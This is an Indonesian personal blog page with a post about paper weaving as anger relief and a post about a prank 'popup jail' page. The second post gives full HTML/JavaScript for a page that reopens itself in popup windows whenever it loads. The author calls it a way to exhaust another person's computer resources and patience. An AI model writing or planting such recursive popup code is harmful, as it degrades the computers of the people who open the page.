Anyam-Anyam

Dulu kalo sedang kesal atau marah, saya suka nyari kesibukan yang perlu ketelitian dan ketelatenan, salah satunya membuat anyaman seperti ini:

Lumayan bagus kan? Cukup 30-60 menit membuatnya, bahannya dari kertas HVS dan kertas buram (yang biasa dipakai untuk ujian mahasiswa, he3).atau bisa juga dari pita.  Dengan membuat anyaman ini sepertinya cukup mujarab buat menenangkan diri, setidaknya konsentrasi teralih ke anyaman, jadi bisa melupakan rasa marah/kesal :)

Sekarang sudah lama gak bikin anyam2an kayak gitu lagi, sayangnya bukan karena sudah tidak pernah kesal/marah lagi tapi karena gak sempat aja, wkwkwk…

Bikin hipotesis baru ah: Menganyam adalah salah satu alternatif anger management yang prospektif, hahahaha…

Halaman PopUp Jail

Coba lihat screen capture komputer saya ini:

 

 

banjir popup window

 

Gak kebayang kan kalo semua window itu menuhin layar dan bikin kita kehabisan resource plus kehilangan kesabaran?
Untungnya ada fasilitas dari browser untuk memblokir popup window dan javascript. Jadi kalo ada halaman web yang iseng seperti di atas, kita sedikit terlindungi, kecuali yang tidak mengaktifkan fiture tersebut (Di Mozilla masuk ke menu Tools –> Options –> Content –> Uncheck ‘Block PopUp Windows’, sedangkan di IE ada di menu Tools –> PopUp Blocker –> Turn Off PopUp Blocker)

Berikut ini adalah source file html sederhana yang bisa bikin kita (atau orang lain yang bikin kita kesel) kehabisan resource sekaligus kehilangan kesabaran:

<HTML>
<HEAD>
<SCRIPT LANGUAGE=”JavaScript”>

<!– Begin
function popUp(URL) {
day = new Date();
id = day.getTime();
eval(“page” + id + ” = window.open(URL, ‘” + id + “‘,

‘toolbar=0,scrollbars=0,location=0,statusbar=0,menubar=0,resizable=0,width=10

0,height=75′);”);
}
</script>
</HEAD>

<BODY onLoad=”javascript:popUp(‘tes.html’)”>
Halaman iseng, muncul lagi!
</BODY>

</HTML>

script html di atas tinggal disave dengan nama “tes.html”. Bagian script yang di-bold adalah bagian yang membuat file jail itu meload dirinya sendiri dalam sebuah popup window setiap kali file diload ke browser. Dan voila! efeknya jadi rekursif kan? Alhasil ada yang kebanjiran popup window, kehabisan resource dan kehilangan kesabaran, hehehe…

Lagi-lagi, saya berpesan, info ini jangan disalah gunakan ya :)